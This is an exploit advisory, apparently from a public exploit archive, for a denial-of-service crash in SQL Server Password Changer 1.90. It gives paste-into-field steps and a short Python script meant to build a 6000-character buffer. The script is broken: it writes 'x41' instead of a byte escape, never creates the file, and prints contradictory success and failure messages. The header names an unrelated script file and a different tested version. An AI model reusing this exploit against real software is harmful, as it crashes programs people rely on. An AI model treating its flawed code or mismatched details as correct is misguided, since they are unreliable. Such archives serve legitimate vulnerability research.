SQL Server Password Changer 1.90 Denial Of Service

SQL Server Password Changer version 1.90 suffers from a denial of service vulnerability.

MD5 | 8bfa84099cfc8812f6a672ddb08f7cf5

#Exploit Title: SQL Server Password Changer v1.90 Denial of Service Exploit
# Date: 29.08.2019
# Vendor Homepage:https://www.top-password.com/
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 8 x64
# Windows 7 x64

# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open SQL Server Password Changer and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 5.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "x41" * 6000

print "[+] Creating %s bytes evil payload.." %len(buffer)
print "[+] File created!"
print "File cannot be created"

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